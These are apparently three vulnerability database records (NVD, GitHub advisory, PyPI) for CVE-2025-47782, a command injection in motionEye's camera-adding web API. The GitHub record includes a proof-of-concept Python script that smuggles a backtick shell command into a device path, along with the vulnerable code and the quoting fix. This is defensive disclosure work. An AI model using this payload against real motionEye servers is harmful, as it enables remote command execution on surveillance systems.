{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "motionEye is an online interface for the software motion, a video surveillance program with motion detection. In versions 0.43.1b1 through 0.43.1b3, using a constructed (camera) device path with the `add`/`add_camera` motionEye web API allows an attacker with motionEye admin user credentials to execute any command within a non-interactive shell as motionEye run user, `motion` by default. The vulnerability has been patched with motionEye v0.43.1b4. As a workaround, apply the patch manually."
    },
    {
      "lang": "es",
      "value": "motionEye es una interfaz en l\u00ednea para el software motion, un programa de videovigilancia con detecci\u00f3n de movimiento. En las versiones 0.43.1b1 a 0.43.1b3, el uso de una ruta de dispositivo (c\u00e1mara) construida con la API web `add`/`add_camera` de motionEye permite a un atacante con credenciales de administrador de motionEye ejecutar cualquier comando dentro de un shell no interactivo como el usuario de ejecuci\u00f3n de motionEye, `motion` por defecto. La vulnerabilidad se ha corregido con motionEye v0.43.1b4. Como workaround, aplique el parche manualmente."
    }
  ],
  "id": "CVE-2025-47782",
  "lastModified": "2025-05-16T14:43:56.797",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.9,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "PROOF_OF_CONCEPT",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-05-14T16:15:29.580",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/motioneye-project/motioneye/issues/3142"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/motioneye-project/motioneye/pull/3143"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g5mq-prx7-c588"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g5mq-prx7-c588"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "motioneye"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.43.1b1"
            },
            {
              "fixed": "0.43.1b4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47782"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-15T16:10:48Z",
    "nvd_published_at": "2025-05-14T16:15:29Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nUsing a constructed (camera) device path with the `config/add`/`add_camera` motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, `motion` by default.\n\n#### function call stack\n1. `post`\n2. `add_camera`\n3. `config.add_camera`\n4. `v4l2ctl.list_resolutions`\n5. `utils.call_subprocess`\n6. `subprocess.run`\n\n### PoC\n#### build\n```sh\nRUN_USER=\"user\"\nRUN_UID=$(id -u ${RUN_USER})\nRUN_GID=$(id -g ${RUN_USER})\nTIMESTAMP=\"$(date \u0027+%Y%m%d-%H%M\u0027)\"\n\ndocker build \\\n  --network host \\\n  --build-arg=\"RUN_UID=${RUN_UID?}\" \\\n  --build-arg=\"RUN_GID=${RUN_GID?}\" \\\n  -t \"${USER?}/motioneye:${TIMESTAMP}\" \\\n  --no-cache \\\n  -f docker/Dockerfile .\n```\n\n#### reproduce\nRun:\n```sh\ndocker run --rm  -d   -p 8765:8765   --hostname=\"motioneye\"   -v /etc/localtime:/etc/localtime:ro   -v /tmp/motioneyeconfig:/etc/motioneye   -v /tmp/motioneyeconfig:/var/lib/motioneye\n```\n```console\nbash-4.2$ docker logs ceb435eacf55 -f\nconfigure_logging cmd motioneye: False\nconfigure logging to file: None\n    INFO: hello! this is motionEye server 0.43.1b3\n   DEBUG: found motion executable \"/usr/bin/motion\" version \"4.7.0\"\n   DEBUG: found ffmpeg executable \"/usr/bin/ffmpeg\" version \"7.1.1-1+b1\"\n   DEBUG: listing config dir /etc/motioneye...\n   DEBUG: found camera with id 1\n   DEBUG: reading camera config from /etc/motioneye/camera-1.conf...\n   DEBUG: loading additional config structure for camera, without separators\n   DEBUG: Using selector: EpollSelector\n   DEBUG: searching motion executable\n   DEBUG: starting motion executable \"/usr/bin/motion\" version \"4.7.0\"\n    INFO: cleanup started\n    INFO: wsswitch started\n    INFO: tasks started\n    INFO: mjpg customer garbage collector has started\n    INFO: server started\n```\nNow, run the following script to attack motionEye:\n```python\nimport requests\nimport json\n\nurl = \"http://your_ip:8765/config/add?_username=admin\u0026_signature=c22baef3399cb7328e22ded1ca68395b4daecd18\"\n\npayload = json.dumps({\n  \"proto\": \"v4l2\",\n  \"path\": \"\u0027 `touch /tmp/bbbb` \u0027\"\n})\nheaders = {\n  \u0027Content-Type\u0027: \u0027application/json\u0027\n}\n\nresponse = requests.request(\"POST\", url, headers=headers, data=payload)\n\nprint(response.text)\n```\n\n\u003cimg width=\"1187\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/8e0a9bfe-8de3-4023-96d6-0e888bfe3c62\" /\u003e\n\n\u003cimg width=\"324\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/04c73349-694a-4531-993e-eea765b87d0e\" /\u003e\n\n#### Discussion\nIt is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability\n```python\ndef list_resolutions(device):\n    from motioneye import motionctl\n\n    device = utils.make_str(device)\n\n    if device in _resolutions_cache:\n        return _resolutions_cache[device]\n\n    logging.debug(f\u0027listing resolutions of device {device}...\u0027)\n\n    resolutions = set()\n    output = b\u0027\u0027\n    started = time.time()\n    cmd = f\"v4l2-ctl -d \u0027{device}\u0027 --list-formats-ext | grep -vi stepwise | grep -oE \u0027[0-9]+x[0-9]+\u0027 || true\"\n    logging.debug(f\u0027running command \"{cmd}\"\u0027)\n\n    try:\n        output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)\n    except:\n        logging.error(f\u0027failed to list resolutions of device \"{device}\"\u0027)\n\n    output = utils.make_str(output)\n\ndef call_subprocess(\n    args,\n    stdin=None,\n    input=None,\n    stdout=subprocess.PIPE,\n    stderr=DEV_NULL,\n    capture_output=False,\n    shell=False,\n    cwd=None,\n    timeout=None,\n    check=True,\n    encoding=\u0027utf-8\u0027,\n    errors=None,\n    text=None,\n    env=None,\n) -\u003e str:\n    \"\"\"subprocess.run wrapper to return output as a decoded string\"\"\"\n    return subprocess.run(\n        args,\n        stdin=stdin,\n        input=input,\n        stdout=stdout,\n        stderr=stderr,\n        capture_output=capture_output,\n        shell=shell,\n        cwd=cwd,\n        timeout=timeout,\n        check=check,\n        encoding=encoding,\n        errors=errors,\n        text=text,\n        env=env,\n    ).stdout.strip()\n```\n\n### Impact\nRCE\n\n### Patches\nThe vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143\n\n### Workarounds\nApplying the following patch, replacing the literal single quotes in the created `cmd` string with a `shlex.quote`d input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch\n\n### References\nhttps://github.com/motioneye-project/motioneye/issues/3142\n\n### Credit\nThe vulnerability was discovered by Tencent YunDing Security Lab.",
  "id": "GHSA-g5mq-prx7-c588",
  "modified": "2025-05-15T16:10:48Z",
  "published": "2025-05-15T16:10:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g5mq-prx7-c588"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47782"
    },
    {
      "type": "WEB",
      "url": "https://github.com/motioneye-project/motioneye/issues/3142"
    },
    {
      "type": "WEB",
      "url": "https://github.com/motioneye-project/motioneye/pull/3143"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/motioneye-project/motioneye"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/motioneye/PYSEC-2025-39.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "motioneye",
        "purl": "pkg:pypi/motioneye"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.43.1b1"
            },
            {
              "fixed": "0.43.1b4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.43.1b1",
        "0.43.1b2",
        "0.43.1b3"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47782",
    "GHSA-g5mq-prx7-c588"
  ],
  "details": "motionEye is an online interface for the software motion, a video surveillance program with motion detection. In versions 0.43.1b1 through 0.43.1b3, using a constructed (camera) device path with the `add`/`add_camera` motionEye web API allows an attacker with motionEye admin user credentials to execute any command within a non-interactive shell as motionEye run user, `motion` by default. The vulnerability has been patched with motionEye v0.43.1b4. As a workaround, apply the patch manually.",
  "id": "PYSEC-2025-39",
  "modified": "2025-05-14T17:22:51.050788+00:00",
  "published": "2025-05-14T16:15:29+00:00",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g5mq-prx7-c588"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/motioneye-project/motioneye/issues/3142"
    },
    {
      "type": "WEB",
      "url": "https://github.com/motioneye-project/motioneye/pull/3143"
    }
  ]
}